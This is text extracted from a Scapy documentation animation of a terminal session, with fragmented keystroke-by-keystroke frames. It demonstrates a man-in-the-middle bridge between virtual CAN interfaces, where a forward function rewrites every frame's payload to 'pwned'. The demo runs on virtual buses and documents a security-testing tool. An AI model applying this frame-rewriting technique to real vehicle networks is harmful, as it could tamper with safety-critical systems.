057 [3] BD BB E8 vcan1 450 [8] 5D E0 2C 7B 0A 14 7E 79 │ vcan0 205 [8] 1D B8 63 76 57 E4 CF 1F vcan1 6FF [8] DE AD 7D 04 94 10 4A 1C │ vcan0 336 [3] 47 34 7A vcan1 22E [1] 30 │ vcan0 2C4 [8] A3 F3 FB 38 C4 8D 70 2E vcan1 337 [8] 33 54 7F 19 08 91 AA 61 │ vcan0 7F0 [8] C6 AE 64 37 A5 5B 5C 14 vcan1 502 [3] 07 38 A8 │ vcan0 231 [4] 7B 76 B9 42 vcan1 388 [8] 3A 9F 8C 6E DE C6 F4 29 │ vcan0 168 [6] DD 73 8A 3F 6E 37 vcan1 3D6 [8] 68 3D 56 7E 91 19 8F 4F │ vcan0 30E [6] 47 B6 9C 76 65 8B vcan1 1A8 [6] 64 8D F2 2B F8 D5 vcan0 0FA [4] E6 3C 8C 61 vcan1 510 [1] 03 vcan0 242 [3] 56 1F 2D vcan1 51B [1] A3 vcan0 506 [8] 89 F7 08 42 CA D7 EA 4A vcan1 792 [3] 1C B5 F4 vcan0 71B [8] 8E 65 5B 79 0B 5F A2 0A vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 vcan0 02B [4] B0 BA FE 1E vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 vcan0 738 [8] 3D DA DE 10 A0 80 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 vcan0 738 [8] 3D DA DE 10 A0 80 D1 08 vcan1 573 [1] 79 vcan0 132 [8] 0F B8 87 6E 40 CC C9 6D vcan1 59D [1] DB vcan0 191 [6] A5 57 A3 26 8B 4A vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 vcan0 05A [8] 8A 85 13 4F 9C F2 A8 1D vcan1 601 [1] D8 vcan0 18E [0] vcan1 3A5 [6] 49 46 83 3B 60 3E │ vcan0 3B4 [3] 1E E4 69 vcan1 5D1 [8] 90 BE 9B 32 FF A6 FD 57 │ vcan0 5AE [4] 8A A1 D6 1E vcan1 745 [4] 92 19 BA 24 │ vcan0 606 [8] 99 57 1C 33 D8 7E E6 10 vcan1 356 [8] 92 A0 A3 00 8A 76 61 54 │ vcan0 057 [3] BD BB E8 vcan1 5BB [8] 6E 19 62 7F D3 73 63 5C │ vcan0 205 [8] 1D B8 63 76 57 E4 CF 1F vcan1 450 [8] 5D E0 2C 7B 0A 14 7E 79 │ vcan0 336 [3] 47 34 7A vcan1 6FF [8] DE AD 7D 04 94 10 4A 1C │ vcan0 2C4 [8] A3 F3 FB 38 C4 8D 70 2E vcan1 22E [1] 30 │ vcan0 7F0 [8] C6 AE 64 37 A5 5B 5C 14 vcan1 337 [8] 33 54 7F 19 08 91 AA 61 │ vcan0 231 [4] 7B 76 B9 42 vcan1 502 [3] 07 38 A8 │ vcan0 168 [6] DD 73 8A 3F 6E 37 vcan1 388 [8] 3A 9F 8C 6E DE C6 F4 29 │ vcan0 30E [6] 47 B6 9C 76 65 8B vcan1 3D6 [8] 68 3D 56 7E 91 19 8F 4F │ vcan0 0FA [4] E6 3C 8C 61 vcan1 1A8 [6] 64 8D F2 2B F8 D5 vcan0 242 [3] 56 1F 2D vcan1 510 [1] 03 vcan0 506 [8] 89 F7 08 42 CA D7 EA 4A vcan1 51B [1] A3 vcan0 71B [8] 8E 65 5B 79 0B 5F A2 0A vcan1 792 [3] 1C B5 F4 vcan0 02B [4] B0 BA FE 1E vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 vcan0 738 [8] 3D DA DE 10 A0 80 D1 08 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 vcan0 132 [8] 0F B8 87 6E 40 CC C9 6D vcan1 573 [1] 79 vcan0 191 [6] A5 57 A3 26 8B 4A vcan1 59D [1] DB vcan0 05A [8] 8A 85 13 4F 9C F2 A8 1D vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 vcan0 18E [0] vcan1 601 [1] D8 vcan0 07E [8] 5E 66 73 3A 99 C7 AC 4E vcan1 3A5 [6] 49 46 83 3B 60 3E │ vcan0 5AE [4] 8A A1 D6 1E vcan1 5D1 [8] 90 BE 9B 32 FF A6 FD 57 │ vcan0 606 [8] 99 57 1C 33 D8 7E E6 10 vcan1 745 [4] 92 19 BA 24 │ vcan0 057 [3] BD BB E8 vcan1 356 [8] 92 A0 A3 00 8A 76 61 54 │ vcan0 205 [8] 1D B8 63 76 57 E4 CF 1F vcan1 5BB [8] 6E 19 62 7F D3 73 63 5C │ vcan0 336 [3] 47 34 7A vcan1 450 [8] 5D E0 2C 7B 0A 14 7E 79 │ vcan0 2C4 [8] A3 F3 FB 38 C4 8D 70 2E vcan1 6FF [8] DE AD 7D 04 94 10 4A 1C │ vcan0 7F0 [8] C6 AE 64 37 A5 5B 5C 14 vcan1 22E [1] 30 │ vcan0 231 [4] 7B 76 B9 42 vcan1 337 [8] 33 54 7F 19 08 91 AA 61 │ vcan0 168 [6] DD 73 8A 3F 6E 37 vcan1 502 [3] 07 38 A8 │ vcan0 30E [6] 47 B6 9C 76 65 8B vcan1 388 [8] 3A 9F 8C 6E DE C6 F4 29 │ vcan0 0FA [4] E6 3C 8C 61 vcan1 3D6 [8] 68 3D 56 7E 91 19 8F 4F │ vcan0 242 [3] 56 1F 2D vcan1 1A8 [6] 64 8D F2 2B F8 D5 vcan0 506 [8] 89 F7 08 42 CA D7 EA 4A vcan1 510 [1] 03 vcan0 71B [8] 8E 65 5B 79 0B 5F A2 0A vcan1 51B [1] A3 vcan0 02B [4] B0 BA FE 1E vcan1 792 [3] 1C B5 F4 vcan0 738 [8] 3D DA DE 10 A0 80 D1 08 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 vcan0 132 [8] 0F B8 87 6E 40 CC C9 6D vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 vcan0 191 [6] A5 57 A3 26 8B 4A vcan1 573 [1] 79 vcan0 05A [8] 8A 85 13 4F 9C F2 A8 1D vcan1 59D [1] DB vcan0 18E [0] vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 vcan0 07E [8] 5E 66 73 3A 99 C7 AC 4E vcan1 601 [1] D8 vcan0 2CB [8] A5 26 4F 59 F7 EA 43 4A [7] 0:candump* "cars@scapy :~/repos/t" 16:46 21-Jan-19 vcan1 3A5 [6] 49 46 83 3B 60 3E │ vcan0 606 [8] 99 57 1C 33 D8 7E E6 10 vcan1 5D1 [8] 90 BE 9B 32 FF A6 FD 57 │ vcan0 057 [3] BD BB E8 vcan1 745 [4] 92 19 BA 24 │ vcan0 205 [8] 1D B8 63 76 57 E4 CF 1F vcan1 356 [8] 92 A0 A3 00 8A 76 61 54 │ vcan0 336 [3] 47 34 7A vcan1 5BB [8] 6E 19 62 7F D3 73 63 5C │ vcan0 2C4 [8] A3 F3 FB 38 C4 8D 70 2E vcan1 450 [8] 5D E0 2C 7B 0A 14 7E 79 │ vcan0 7F0 [8] C6 AE 64 37 A5 5B 5C 14 vcan1 6FF [8] DE AD 7D 04 94 10 4A 1C │ vcan0 231 [4] 7B 76 B9 42 vcan1 22E [1] 30 │ vcan0 168 [6] DD 73 8A 3F 6E 37 vcan1 337 [8] 33 54 7F 19 08 91 AA 61 │ vcan0 30E [6] 47 B6 9C 76 65 8B vcan1 502 [3] 07 38 A8 │ vcan0 0FA [4] E6 3C 8C 61 vcan1 388 [8] 3A 9F 8C 6E DE C6 F4 29 │ vcan0 242 [3] 56 1F 2D vcan1 3D6 [8] 68 3D 56 7E 91 19 8F 4F │ vcan0 506 [8] 89 F7 08 42 CA D7 EA 4A vcan1 1A8 [6] 64 8D F2 2B F8 D5 vcan0 71B [8] 8E 65 5B 79 0B 5F A2 0A vcan1 510 [1] 03 vcan0 02B [4] B0 BA FE 1E vcan1 51B [1] A3 vcan0 738 [8] 3D DA DE 10 A0 80 D1 08 vcan1 792 [3] 1C B5 F4 vcan0 132 [8] 0F B8 87 6E 40 CC C9 6D vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 vcan0 191 [6] A5 57 A3 26 8B 4A vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 vcan0 05A [8] 8A 85 13 4F 9C F2 A8 1D vcan1 573 [1] 79 vcan0 18E [0] vcan1 59D [1] DB vcan0 07E [8] 5E 66 73 3A 99 C7 AC 4E vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 vcan0 2CB [8] A5 26 4F 59 F7 EA 43 4A vcan1 601 [1] D8 vcan0 041 [5] 54 ED 77 14 7A vcan1 3A5 [6] 49 46 83 3B 60 3E vcan1 5D1 [8] 90 BE 9B 32 FF A6 FD 57 vcan1 745 [4] 92 19 BA 24 vcan1 356 [8] 92 A0 A3 00 8A 76 61 54 vcan1 5BB [8] 6E 19 62 7F D3 73 63 5C vcan1 450 [8] 5D E0 2C 7B 0A 14 7E 79 vcan1 6FF [8] DE AD 7D 04 94 10 4A 1C vcan1 22E [1] 30 vcan1 337 [8] 33 54 7F 19 08 91 AA 61 vcan1 502 [3] 07 38 A8 vcan1 388 [8] 3A 9F 8C 6E DE C6 F4 29 vcan1 3D6 [8] 68 3D 56 7E 91 19 8F 4F vcan1 1A8 [6] 64 8D F2 2B F8 D5 vcan1 510 [1] 03 vcan1 51B [1] A3 vcan1 792 [3] 1C B5 F4 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 vcan1 573 [1] 79 vcan1 59D [1] DB vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 vcan1 601 [1] D8 ^C[cars@scapy folders 2019]$ [exited] scapy-2.4.4/doc/scapy/graphics/animations/animation-scapy-cansockets-mitm2.svg000077500000000000000000022614251372370053500275100ustar00rootroot00000000000000 [1] 0:bash* "scapy " 13:32 24-Jan-19[cars@scapy folders 2019]$ [1] 0:bash* "cars@scapy :~/repos/t" 13:32 24-Jan-19[cars@scapy folders 2019]$ ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[cars@scapy folders 2019]$ [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ c [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ ca [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ can [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ cand [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candu [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candum [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candump [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candump [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candump v [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candump vc [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candump vca [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candump vcan [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candump vcan0 [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candump vcan0 vcan0 6FF [1] 2E vcan0 058 [1] AA vcan0 3A0 [7] CE 31 50 65 5C F4 7E vcan0 182 [7] F7 89 17 6D E8 3D 79 vcan0 20A [8] F5 16 64 54 FC 89 65 39 [cars@scapy folders 2019]$ vcan0 6FF [1] 2E vcan0 2BE [8] 81 CD 7A 28 BE E3 CA 5D [cars@scapy folders 2019]$ vcan0 058 [1] AA vcan0 0BD [8] 85 BA 10 68 EB 48 8B 0D [cars@scapy folders 2019]$ vcan0 3A0 [7] CE 31 50 65 5C F4 7E vcan0 5E1 [6] 05 51 83 39 E0 CC [cars@scapy folders 2019]$ vcan0 182 [7] F7 89 17 6D E8 3D 79 vcan0 247 [4] 7B 9B 55 66 ^ [cars@scapy folders 2019]$ vcan0 20A [8] F5 16 64 54 FC 89 65 39 vcan0 115 [5] 13 FD 28 6E B6 [cars@scapy folders 2019]$ vcan0 2BE [8] 81 CD 7A 28 BE E3 CA 5D vcan0 45C [1] 12 [cars@scapy folders 2019]$ vcan0 0BD [8] 85 BA 10 68 EB 48 8B 0D vcan0 3F8 [8] C7 FB AD 5C 02 AE 4C 22 [cars@scapy folders 2019]$ vcan0 5E1 [6] 05 51 83 39 E0 CC vcan0 335 [8] FF 37 B2 5B F4 9D 4C 22 [cars@scapy folders 2019]$ vcan0 247 [4] 7B 9B 55 66 vcan0 02B [0] [cars@scapy folders 2019]$ vcan0 115 [5] 13 FD 28 6E B6 vcan0 11F [8] D4 01 6E 48 00 07 79 29 [cars@scapy folders 2019]$ vcan0 45C [1] 12 vcan0 32E [8] E0 D3 38 74 75 BD F7 7D [cars@scapy folders 2019]$ vcan0 3F8 [8] C7 FB AD 5C 02 AE 4C 22 vcan0 40E [8] 15 10 0D 33 23 85 D8 6F ^C [cars@scapy folders 2019]$ vcan0 335 [8] FF 37 B2 5B F4 9D 4C 22 ^C vcan0 081 [8] D9 31 E5 61 DE 6C 1D 36 [cars@scapy folders 2019]$ vcan0 02B [0] vcan0 409 [8] BC 2A 52 36 02 28 DE 5B [cars@scapy folders 2019]$ vcan0 11F [8] D4 01 6E 48 00 07 79 29 vcan0 5F4 [3] 04 D6 2A [cars@scapy folders 2019]$ vcan0 32E [8] E0 D3 38 74 75 BD F7 7D vcan0 13F [3] 1E 4F C4 [cars@scapy folders 2019]$ vcan0 40E [8] 15 10 0D 33 23 85 D8 6F vcan0 383 [0] [cars@scapy folders 2019]$ ^C vcan0 081 [8] D9 31 E5 61 DE 6C 1D 36 vcan0 508 [8] A2 C3 51 5C 36 08 B1 2C [cars@scapy folders 2019]$ vcan0 409 [8] BC 2A 52 36 02 28 DE 5B vcan0 702 [3] AC C5 A8 [cars@scapy folders 2019]$ vcan0 5F4 [3] 04 D6 2A vcan0 6DF [1] 34 ^C[cars@scapy folders 2019]$ [cars@scapy folders 2019]$ [1] 0:candump* "cars@scapy :~/repos/t" 13:32 24-Jan-19[cars@scapy folders 2019]$ vcan0 13F [3] 1E 4F C4 ^C[cars@scapy folders 2019]$ ^C [cars@scapy folders 2019]$ candump vcan0 ────────────────────────────────────────────────────────────┴───────────────────────────────────────────────────────────[cars@scapy folders 2019]$ vcan0 13F [3] 1E 4F C4 [cars@scapy folders 2019]$ c vcan0 13F [3] 1E 4F C4 [cars@scapy folders 2019]$ ca vcan0 13F [3] 1E 4F C4 [cars@scapy folders 2019]$ can vcan0 13F [3] 1E 4F C4 [cars@scapy folders 2019]$ cand vcan0 13F [3] 1E 4F C4 [cars@scapy folders 2019]$ candu vcan0 13F [3] 1E 4F C4 [cars@scapy folders 2019]$ candum vcan0 13F [3] 1E 4F C4 [cars@scapy folders 2019]$ candump vcan0 13F [3] 1E 4F C4 [cars@scapy folders 2019]$ candump vcan0 13F [3] 1E 4F C4 [cars@scapy folders 2019]$ candump v vcan0 13F [3] 1E 4F C4 [cars@scapy folders 2019]$ candump vc vcan0 13F [3] 1E 4F C4 [cars@scapy folders 2019]$ candump vca vcan0 13F [3] 1E 4F C4 [cars@scapy folders 2019]$ candump vcan vcan0 13F [3] 1E 4F C4 [cars@scapy folders 2019]$ candump vcan1 vcan0 13F [3] 1E 4F C4 [cars@scapy folders 2019]$ candump vcan0 ────────────────────────────────────────────────────────────┴───────────────────────────────────────────────────────────[cars@scapy folders 2019]$ s [cars@scapy folders 2019]$ sc [cars@scapy folders 2019]$ sca [cars@scapy folders 2019]$ scap [cars@scapy folders 2019]$ scapy [1] 0:bash* "cars@scapy :~/repos/t" 13:33 24-Jan-19[cars@scapy folders 2019]$ scapy INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). WARNING: No route found for IPv6 destination :: (no default route?) [cars@scapy folders 2019]$ candump vcan1 │ vcan0 13F [3] 1E 4F C4 │ vcan0 383 [0] │ vcan0 508 [8] A2 C3 51 5C 36 08 B1 2C │ vcan0 702 [3] AC C5 A8 │ vcan0 6DF [1] 34 │^C[cars@scapy folders 2019]$ ^C [cars@scapy folders 2019]$ candump vcan0 ────────────────────────────────────────────────────────────┴─────────────────────────────────────────────────────────── AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y |on :: (no default route?) A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | We are in France, we say Skappee. scccccp///pSP///p p//Y | OK? Merci. sY/////////y caa S//P | -- Sebastien Chabal cayCyayP//Ya pY/Ya | sY/PsY////YCc aC//Yp sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs using IPython 7.1.1 >>> [1] 0:python3.7* "cars@scapy :~/repos/t" 13:33 24-Jan-19>>> I-search backward: >>> load_layer("can") I-search backward: l >>> load_layer("can") I-search backward: lo >>> load_layer("can") I-search backward: loa >>> load_layer("can") I-search backward: load >>> load_layer("can") >>> load_layer("can") >>> load_layer("can") I-search backward: load_ >>> load_contrib("cansocket") I-search backward: load_c >>> load_contrib("cansocket") >>> load_contrib("cansocket") INFO: Specify 'conf.contribs['CANSocket'] = {'use-python-can': True}' to enable python-can. INFO: Use native CANSocket. Specify 'conf.contribs['CANSocket'] = {'use-python-can': True}' to enable python-can.>>> load_contrib("cansocket") I-search backward: s >>> load_contrib("cansocket") I-search backward: so >>> load_contrib("cansocket") I-search backward: soc >>> load_contrib("cansocket") I-search backward: sock >>> sock = CANSocket("vcan0") I-search backward: sock >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) I-search backward: sock1 >>> sock1 = CANSocket("vcan1") I-search backward: sock1 >>> sock1 = CANSocket("vcan1") >>> sock1 = CANSocket("vcan1") >>> sock1 = CANSocket("vcan1") >>> sock1 = CANSocket("vcan1") >>> sock1 = CANSocket("vcan1") >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) I-search backward: sock0 >>> sock0 = CANSocket("vcan0") I-search backward: sock0 >>> sock0 = CANSocket("vcan0") >>> d >>> de >>> def >>> def >>> def f >>> def fo >>> def for >>> def forw >>> def forwa >>> def forwar >>> def forward >>> def forward( >>> def forward(p >>> def forward(pk >>> def forward(pkt >>> def forward(pkt) >>> sock0 = CANSocket("vcan0") >>> def forward(pkt): ...: ...: r ...: re ...: ret ...: retu ...: retur ...: return ...: return ...: returnp ...: returnpk ...: returnpkt ...: returnpkt. ...: returnpkt.d ...: returnpkt.da ...: returnpkt.dat ...: returnpkt.data ...: returnpkt.d ...: returnpkt. ...: returnpkt ...: returnpk ...: returnp ...: return ...: return ...: retur ...: retu ...: ret ...: re ...: r ...: ...: p ...: pk ...: pkt ...: pkt. ...: pkt.d ...: pkt.da ...: pkt.dat ...: pkt.data ...: pkt.data ...: pkt.data = ...: pkt.data = ...: pkt.data = " ...: pkt.data = B ...: pkt.data = b ...: pkt.data = b" ...: pkt.data = b"p ...: pkt.data = b"pw ...: pkt.data = b"pwn ...: pkt.data = b"pwne ...: pkt.data = b"pwned >>> def forward(pkt): ...: pkt.data = b"pwned" [1] 0:python3.7* "cars@scapy :~/repos/t" 13:34 24-Jan-19...: pkt.data = b"pwned" ...: returnpkt ...: ...: pkt.data = b"pwned" ...: returnpktI-search backward: b >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) I-search backward: br >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) I-search backward: bri I-search: bri >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) [cars@scapy folders 2019]$ candump vcan1 vcan0 13F [3] 1E 4F C4 vcan0 383 [0] [cars@scapy folders 2019]$ exit [cars@scapy folders 2019]$ candump vcan1 vcan0 383 [0] [cars@scapy folders 2019]$ candump vcan1 vcan0 508 [8] A2 C3 51 5C 36 08 B1 2C vcan0 399 [0] [cars@scapy folders 2019]$ candump vcan1 vcan0 702 [3] AC C5 A8 vcan0 211 [8] 5B 79 45 63 5A 62 9F 53 [1] 0:bash* "cars@scapy :~/repos/t" 13:34 24-Jan-19[cars@scapy folders 2019]$ candump vcan1 vcan0 6DF [1] 34 vcan0 5A7 [8] 1D 04 92 4D 01 4C 1A 37 [cars@scapy folders 2019]$ candump vcan1 ^C[cars@scapy folders 2019]$ ^C vcan0 6E3 [8] 25 B4 CC 6B 8E 32 86 73 [cars@scapy folders 2019]$ candump vcan1 [cars@scapy folders 2019]$ candump vcan0 vcan0 169 [8] B3 49 09 59 BC BD D0 18 [cars@scapy folders 2019]$ candump vcan1 vcan0 399 [0] vcan0 4C4 [3] FD B1 0F >>> bridge_and_sniff(if1=sock0, if2=sock1, xfrm12=forward, xfrm21=forward, timeout=5) [cars@scapy folders 2019]$ candump vcan1 │ vcan0 399 [0] │ vcan0 211 [8] 5B 79 45 63 5A 62 9F 53 │ vcan0 5A7 [8] 1D 04 92 4D 01 4C 1A 37 │ vcan0 6E3 [8] 25 B4 CC 6B 8E 32 86 73 │ vcan0 169 [8] B3 49 09 59 BC BD D0 18 │ vcan0 4C4 [3] FD B1 0F [cars@scapy folders 2019]$ candump vcan1 │ vcan0 211 [8] 5B 79 45 63 5A 62 9F 53 │ vcan0 522 [1] B8 [1] 0:candump* "cars@scapy :~/repos/t" 13:34 24-Jan-19[cars@scapy folders 2019]$ candump vcan1 │ vcan0 5A7 [8] 1D 04 92 4D 01 4C 1A 37 │ vcan0 452 [8] DD FA F2 74 EB EF 17 0A [cars@scapy folders 2019]$ candump vcan1 │ vcan0 6E3 [8] 25 B4 CC 6B 8E 32 86 73 │ vcan0 30A [4] 44 7E CB 3B [cars@scapy folders 2019]$ candump vcan1 │ vcan0 169 [8] B3 49 09 59 BC BD D0 18 │ vcan0 373 [8] 76 6F 3E 21 1A 19 FE 39 vcan1 1D2 [2] 70 77 │ vcan0 169 [8] B3 49 09 59 BC BD D0 18 vcan1 6A7 [0] │ vcan0 4C4 [3] FD B1 0F vcan1 223 [8] 70 77 6E 65 64 00 00 00 │ vcan0 522 [1] B8 vcan1 463 [8] 70 77 6E 65 64 00 00 00 │ vcan0 452 [8] DD FA F2 74 EB EF 17 0A vcan1 5C5 [8] 70 77 6E 65 64 00 00 00 │ vcan0 30A [4] 44 7E CB 3B vcan1 59E [5] 70 77 6E 65 64 │ vcan0 373 [8] 76 6F 3E 21 1A 19 FE 39 vcan1 6A7 [0] │ vcan0 169 [8] B3 49 09 59 BC BD D0 18 vcan1 223 [8] 70 77 6E 65 64 00 00 00 │ vcan0 4C4 [3] FD B1 0F vcan1 463 [8] 70 77 6E 65 64 00 00 00 │ vcan0 522 [1] B8 vcan1 5C5 [8] 70 77 6E 65 64 00 00 00 │ vcan0 452 [8] DD FA F2 74 EB EF 17 0A vcan1 59E [5] 70 77 6E 65 64 │ vcan0 30A [4] 44 7E CB 3B vcan1 5EC [8] 70 77 6E 65 64 00 00 00 │ vcan0 373 [8] 76 6F 3E 21 1A 19 FE 39 vcan1 71F [1] 70 │ vcan0 169 [8] B3 49 09 59 BC BD D0 18 vcan1 108 [7] 70 77 6E 65 64 00 00 │ vcan0 4C4 [3] FD B1 0F vcan1 770 [8] 70 77 6E 65 64 00 00 00 │ vcan0 522 [1] B8 vcan1 01B [4] 70 77 6E 65 │ vcan0 452 [8] DD FA F2 74 EB EF 17 0A vcan1 58A [7] 70 77 6E 65 64 00 00 │ vcan0 30A [4] 44 7E CB 3B vcan1 7F4 [3] 70 77 6E │ vcan0 373 [8] 76 6F 3E 21 1A 19 FE 39 vcan1 108 [7] 70 77 6E 65 64 00 00 │ vcan0 169 [8] B3 49 09 59 BC BD D0 18 vcan1 770 [8] 70 77 6E 65 64 00 00 00 │ vcan0 4C4 [3] FD B1 0F vcan1 01B [4] 70 77 6E 65 │ vcan0 522 [1] B8 vcan1 58A [7] 70 77 6E 65 64 00 00 │ vcan0 452 [8] DD FA F2 74 EB EF 17 0A vcan1 7F4 [3] 70 77 6E │ vcan0 30A [4] 44 7E CB 3B vcan1 585 [6] 70 77 6E 65 64 00 │ vcan0 373 [8] 76 6F 3E 21 1A 19 FE 39 INFO: Use native CANSocket. Specify 'conf.contribs['CANSocket'] = {'use-python-can': True}' to enable python-can. ...: pkt.data = b"pwned" ...: return pkt ...: vcan1 378 [8] 70 77 6E 65 64 00 00 00 │ vcan0 4C4 [3] FD B1 0F vcan1 48D [8] 70 77 6E 65 64 00 00 00 │ vcan0 522 [1] B8 vcan1 118 [8] 70 77 6E 65 64 00 00 00 │ vcan0 452 [8] DD FA F2 74 EB EF 17 0A vcan1 4CA [3] 70 77 6E │ vcan0 30A [4] 44 7E CB 3B vcan1 08F [8] 70 77 6E 65 64 00 00 00 │ vcan0 373 [8] 76 6F 3E 21 1A 19 FE 39 vcan1 69C [3] 70 77 6E │ vcan0 69C [3] 1B 65 18 vcan1 378 [8] 70 77 6E 65 64 00 00 00 │ vcan0 522 [1] B8 vcan1 48D [8] 70 77 6E 65 64 00 00 00 │ vcan0 452 [8] DD FA F2 74 EB EF 17 0A vcan1 118 [8] 70 77 6E 65 64 00 00 00 │ vcan0 30A [4] 44 7E CB 3B vcan1 4CA [3] 70 77 6E │ vcan0 373 [8] 76 6F 3E 21 1A 19 FE 39 vcan1 08F [8] 70 77 6E 65 64 00 00 00 │ vcan0 69C [3] 1B 65 18 vcan1 69C [3] 70 77 6E │ vcan0 7C3 [0] vcan1 7C3 [0] │ vcan0 7C3 [0] vcan1 7C3 [0] │ vcan0 2EE [0] vcan1 2EE [0] │ vcan0 2EE [0] vcan1 2EE [0] │ vcan0 723 [6] 9C 2E AB 6B 46 24 vcan1 723 [6] 70 77 6E 65 64 00 │ vcan0 723 [6] 9C 2E AB 6B 46 24 vcan1 723 [6] 70 77 6E 65 64 00 │ vcan0 367 [4] BC BB 9D 37 vcan1 367 [4] 70 77 6E 65 │ vcan0 367 [4] BC BB 9D 37 vcan1 367 [4] 70 77 6E 65 │ vcan0 7DF [8] A4 FF 0E 41 E9 0A EC 43 vcan1 7DF [8] 70 77 6E 65 64 00 00 00 │ vcan0 7DF [8] A4 FF 0E 41 E9 0A EC 43 vcan1 7DF [8] 70 77 6E 65 64 00 00 00 │ vcan0 24D [8] 05 18 8B 11 C1 5D BA 75 vcan1 24D [8] 70 77 6E 65 64 00 00 00 │ vcan0 24D [8] 05 18 8B 11 C1 5D BA 75 vcan1 24D [8] 70 77 6E 65 64 00 00 00 │ vcan0 588 [8] DB 76 B8 2F 24 E4 84 41 vcan1 588 [8] 70 77 6E 65 64 00 00 00 │ vcan0 588 [8] DB 76 B8 2F 24 E4 84 41 vcan1 588 [8] 70 77 6E 65 64 00 00 00 │ vcan0 30F [7] A3 19 7B 4D D2 62 94 vcan1 30F [7] 70 77 6E 65 64 00 00 │ vcan0 30F [7] A3 19 7B 4D D2 62 94 vcan1 30F [7] 70 77 6E 65 64 00 00 │ vcan0 537 [0] vcan1 537 [0] │ vcan0 537 [0] vcan1 537 [0] │ vcan0 371 [7] D9 37 2F 3D 94 DA 72 vcan1 371 [7] 70 77 6E 65 64 00 00 │ vcan0 371 [7] D9 37 2F 3D 94 DA 72 vcan1 371 [7] 70 77 6E 65 64 00 00 │ vcan0 3CD [5] DA FE F6 04 35 vcan1 3CD [5] 70 77 6E 65 64 │ vcan0 3CD [5] DA FE F6 04 35 vcan1 3CD [5] 70 77 6E 65 64 │ vcan0 2C9 [6] EE F6 43 5D A8 2A vcan1 2C9 [6] 70 77 6E 65 64 00 │ vcan0 2C9 [6] EE F6 43 5D A8 2A vcan1 2C9 [6] 70 77 6E 65 64 00 │ vcan0 12F [3] 92 35 9E vcan1 12F [3] 70 77 6E │ vcan0 12F [3] 92 35 9E vcan1 12F [3] 70 77 6E │ vcan0 47B [7] 3E 89 D2 7E 03 EA 18 vcan1 47B [7] 70 77 6E 65 64 00 00 │ vcan0 47B [7] 3E 89 D2 7E 03 EA 18 vcan1 47B [7] 70 77 6E 65 64 00 00 │ vcan0 513 [8] 27 CE 9D 78 23 D0 8C 32 vcan1 513 [8] 70 77 6E 65 64 00 00 00 │ vcan0 513 [8] 27 CE 9D 78 23 D0 8C 32 vcan1 513 [8] 70 77 6E 65 64 00 00 00 │ vcan0 410 [8] F5 32 21 00 48 D1 11 4D vcan1 410 [8] 70 77 6E 65 64 00 00 00 │ vcan0 410 [8] F5 32 21 00 48 D1 11 4D vcan1 410 [8] 70 77 6E 65 64 00 00 00 │ vcan0 17B [4] 6E 69 44 5A vcan1 17B [4] 70 77 6E 65 │ vcan0 17B [4] 6E 69 44 5A vcan1 17B [4] 70 77 6E 65 │ vcan0 1DC [7] 80 77 00 42 A9 2D C4 vcan1 1DC [7] 70 77 6E 65 64 00 00 │ vcan0 1DC [7] 80 77 00 42 A9 2D C4 vcan1 1DC [7] 70 77 6E 65 64 00 00 │ vcan0 7BC [8] DE 14 11 4F 85 7A 13 5C vcan1 7BC [8] 70 77 6E 65 64 00 00 00 │ vcan0 7BC [8] DE 14 11 4F 85 7A 13 5C vcan1 7BC [8] 70 77 6E 65 64 00 00 00 │ vcan0 0F1 [8] 2E A5 C5 64 21 A2 B1 6C vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 │ vcan0 0F1 [8] 2E A5 C5 64 21 A2 B1 6C vcan1 0F1 [8] 70 77 6E 65 64 00 00 00 │ vcan0 260 [0] vcan1 260 [0] │ vcan0 260 [0] vcan1 260 [0] │ vcan0 057 [8] DF 60 EE 1C 6B FD 7F 20 vcan1 057 [8] 70 77 6E 65 64 00 00 00 │ vcan0 057 [8] DF 60 EE 1C 6B FD 7F 20 vcan1 057 [8] 70 77 6E 65 64 00 00 00 │ vcan0 6F5 [6] 8E CD 0C 53 06 33 vcan1 6F5 [6] 70 77 6E 